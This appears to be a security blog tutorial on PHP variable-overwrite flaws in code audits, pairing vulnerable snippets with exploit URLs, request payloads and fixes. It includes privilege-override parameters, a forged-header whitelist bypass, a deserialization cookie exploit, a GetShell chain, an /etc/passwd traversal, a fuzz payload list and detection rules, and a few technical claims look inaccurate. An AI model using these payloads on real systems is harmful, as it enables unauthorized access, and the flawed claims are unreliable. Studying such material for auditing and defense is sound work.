White Box Auditing: PHP Vulnerability Tips on Variable Overwriting
2025-05-29 05:26:01 - xone
🔍 Understand Common Variable Overwrite Techniques via Code Examples
1. The extract() function overwrites the permission flag
Vulnerability code (user permission check):
$is_admin = false; extract($_GET); // No overwrite protection if ($is_admin) { show_admin_dashboard(); }
Attack Principle:
- extract()Convert GET parameters to variables
- The attacker passes in ?is_admin=1the value that overwrites the original variable.
Exploit Example:
http://target.com/admin.php?is_admin=1
Fixes:
// Prevent overwriting existing variables extract($_GET, EXTR_SKIP); // Or prefix user variables extract($_GET, EXTR_PREFIX_ALL, 'user');
2. parse_str() dynamic parameter parsing
Vulnerability code (configuration update function):
$config = ['debug' => false]; parse_str(file_get_contents('php://input'), $input); foreach ($input as $key => $value) { $config[$key] = $value; // Configuration overwrite }
Attack Principle:
- Attacker passes in debug=1&admin=1overwrite configuration
- Enable debug mode and add illegal configuration items
Payload Example:
POST /update_config.php Content-Type: application/x-www-form-urlencoded debug=1&admin=1
Fix:
$allowed_keys = ['theme', 'language']; foreach ($input as $key => $value) { if (in_array($key, $allowed_keys)) { $config[$key] = $value; } }
3. Variable variable ($$var) injection
Vulnerable Code:
foreach ($_REQUEST as $key => $value) { $$key = htmlspecialchars($value); // Dangerous! } if ($is_admin) { grant_privileges(); }
Attack Principle:
- Controlling variable names via request parameters
- Pass in the ?is_admin=1created $is_adminvariable
Fix:
$allowed = ['username', 'email']; foreach ($_REQUEST as $key => $value) { if (in_array($key, $allowed)) { $$key = htmlspecialchars($value); } }
4. import_request_variables() legacy function
Vulnerable Code (Old PHP < 5.4.0):
import_request_variables('GPC'); // Registers GET/POST/Cookie as variables if ($_SESSION['is_admin']) { show_admin_menu(); }
Attack principle:
- The attacker submits via Cookieis_admin=1
- import_request_variables$_SESSION['is_admin']The variable will be created
Attack:
Submit is_admin=1 via Cookie to create the variable.
Payload Example:
GET /admin.php HTTP/1.1 Cookie: is_admin=1
Fix:
- Upgrade PHP (function removed in PHP 5.4.0+)
- Use $_GET/$_POST explicitly.
🔁 Advanced Cases and Exploits
Case 1: $$var chain coverage (classic code audit case)
Vulnerability code (multi-layer variable processing):
$a = 'original'; $b = 'a'; $c = 'b'; $$$$c = 'hacked'; // Equivalent to $a = 'hacked'; echo $a;
Attack scenario:
- If $cthe value comes from user input, the attacker constructs$c='b'
- Override key variables through multiple layers of reference
Fix:
$allowed_vars = ['user', 'page']; if (!in_array($var_name, $allowed_vars)) { die('Illegal variable name'); }
Case 2: HTTP header parameter overwriting ($_SERVER variable pollution)
Vulnerability code (IP whitelist verification):
$client_ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR']; $allow_ips = ['192.168.1.0/24']; if (in_array($client_ip, $allow_ips)) { show_sensitive_data(); }
Attack principle:
- Attacker forges HTTP headerX-Forwarded-For: 192.168.1.100
- Override $_SERVER['HTTP_X_FORWARDED_FOR']Value
- Bypass IP whitelist verification
Fix:
$client_ip = $_SERVER['REMOTE_ADDR']; if (!ip_in_range($client_ip, $allow_ips)) { die("Unauthorized access"); }
Case 3: mb_parse_str() encoding bypass
Vulnerable Code:
$input = '%82%A0%82%A2=admin'; // Shift_JIS encoded mb_parse_str($input, $params); if ($params['admin'] ?? false) { enable_admin(); }
Attack principle:
- mb_parse_str()Parse a string according to the specified encoding
- Attackers use character set conversion differences to inject variables
- The Shift_JIS encoded string in the example is parsed to get$_GET['a'] = 'admin'
Exploitation:
http://target.com/?%82%A0%82%A2=1
Fix:
mb_internal_encoding('UTF-8'); parse_str(htmlspecialchars_decode($input), $params);
Case 4: Variable overwriting during deserialization
Vulnerable code (cache system):
class Cache { public $storage; public function __wakeup() { foreach ($this->storage as $k => $v) { $$k = $v; } } } $data = unserialize($_COOKIE['cache']);
Attack principle:
- Construct malicious serialized data to overwrite key variables
- For example, settingstorage = ['is_admin' => true]
Exploit Payload:
$exploit = new Cache(); $exploit->storage = ['is_admin' => true]; setcookie('cache', serialize($exploit));
Fix:
class Cache { public function __wakeup() { foreach ($this->storage as $k => $v) { $_SESSION[$k] = $v; } } }
Case 5: Django-style route parameter overwriting (misuse of framework features)
Vulnerability code (custom route parsing):
preg_match('/\/user\/(?<id>\d+)/', $_SERVER['PATH_INFO'], $matches); extract($matches); // Overwrites $id
Attack principle:
- Attacker access /user/1%3Fid=admin(URL encoded ?)
- Regular expression parsing failure results in $matchesinclusion of GET parameters
- extract()Overwriting existing variables
Exploit:
http://target.com/user/123?id=0xHACKED
Fix:
if (!preg_match('/^\/user\/\d+$/', $_SERVER['PATH_INFO'])) { die("Illegal route"); }
Case 6: Variable Overwriting in LDAP Query (Hidden Data Flow)
Vulnerability code (LDAP authentication module):
$ldap_query = "(&(cn=$username)(userPassword=$password))"; ldap_set_option($link, LDAP_OPT_DEREF, $_GET['deref']); $_ENV['LDAP_HOST'] = 'ldap://hacker.com';
Attack principle:
- derefOverride LDAP query behavior via parameters
- $_ENVRedirect LDAP service address using variables
- Steal authentication credentials or perform man-in-the-middle attacks
Fix:
$deref = in_array($_GET['deref'], [0,1,2,3]) ? (int)$_GET['deref'] : 0; ldap_set_option($link, LDAP_OPT_DEREF, $deref);
🛡️ Automatic detection solution for variable coverage vulnerabilities
1. Static code scanning rules (Semgrep example):
rules: - id: variable-override patterns: - pattern: extract($_, ...) - pattern: parse_str(..., $_) - pattern: $$var = ... message: "Potential variable overwrite vulnerability"
2. Dynamic Fuzz Testing Payload Library:
payloads = [ 'GLOBALS[admin]=1', '_SESSION[user]=admin', 'HTTP_X_OVERRIDE=1', '1=1&_method=PUT' # Framework parameter override ]
3. Runtime Hook monitoring (Xdebug extension):
function track_variable_changes($name, $value) { if (in_array($name, ['is_admin', 'config'])) { log_security_event("Sensitive variable modified: $name = $value"); } }
💣 Example of combined vulnerability exploitation: GetShell in CMS background
Attack chain structure :
- By parse_str()overwriting $config['upload_dir']the web directory
- Use file upload function to write PHP
- Override $config['disable_functions']security restrictions
Vulnerable Chain:
parse_str(file_get_contents('php://input'), $new_config); $config = array_merge($config, $new_config);
Malicious Input:
config[upload_dir]=/var/www/html/images&config[disable_functions]=
🔎 Audit Tips
Audit focus$$ : Globally search for keywords such as , extract(, parse_str(, etc. in the code mb_parse_str(, paying special attention to scenarios with secondary dynamic assignment (such as $var = $$dynamic_var).
🧷 Vulnerability Detection Mode Summary
+---------------------------+-------------------------------------------------------+-------------------------+ | Dangerous Mode | Code Pattern | Detection Focus | +---------------------------+-------------------------------------------------------+-----------------------------------------------+ | Unprotected extract() | extract($_POST) | Check second parameter (e.g., EXTR_SKIP) | | Dynamic parse_str() | parse_str($input) | Is input controllable? | | Variable variable $$var | foreach ($_GET as $k => $v) { $$k = $v; } | Loop variable logic | | Global Registration | register_globals = On | php.ini configuration | | Variable name concat | $var = ${"prefix_" . $_GET['field']}; | Is user input defining variable names? | +---------------------------+-------------------------------------------------------+-------------------------+
🎯 Advanced Exploit Scenario: Config File Inclusion
Scenario: Implement file inclusion by overriding configuration
Vulnerable Code:
$config_file = 'default.cfg'; extract($_GET); include($config_file . '.php');
Attack steps :
- Overwrite $config_filevariables:
Exploit:
?config_file=../../etc/passwd%00
Fix:
$allowed_files = ['default.cfg', 'user.cfg']; if (!in_array($config_file, $allowed_files)) { die("Invalid configuration file."); }
Defense strategy system
1. Input filtering :
// Filter special characters $clean = array(); $input = preg_replace('/[^a-z0-9_]/i', '', $_GET['param']);
2. Disable dangerous functions :
; php.ini disable_functions = extract, parse_str, import_request_variables
3. Use a safe alternative :
// Explicit assignment instead of extract() $username = $_POST['username'] ?? ''; $email = $_POST['email'] ?? '';
Code auditing tools :
- RIPS : Detect variable overwrite patterns
- SonarQube : Static analysis of dangerous function calls
- PHPStan : Identify unfiltered variable definitions
Through the above cases and analysis, you should be able to:
- Quickly identify variable coverage risk points in code audits
- Understand how vulnerabilities are exploited in different scenarios
- Implement effective defensive measures
Practical advice : When auditing code, focus on code areas that process user input, especially logic modules that involve dynamic variable creation and global parameter processing. Use grepthe command to search for key functions:
grep -rn --include=*.php "extract(" /path/to/code grep -rn --include=*.php "\$\$" /path/to/code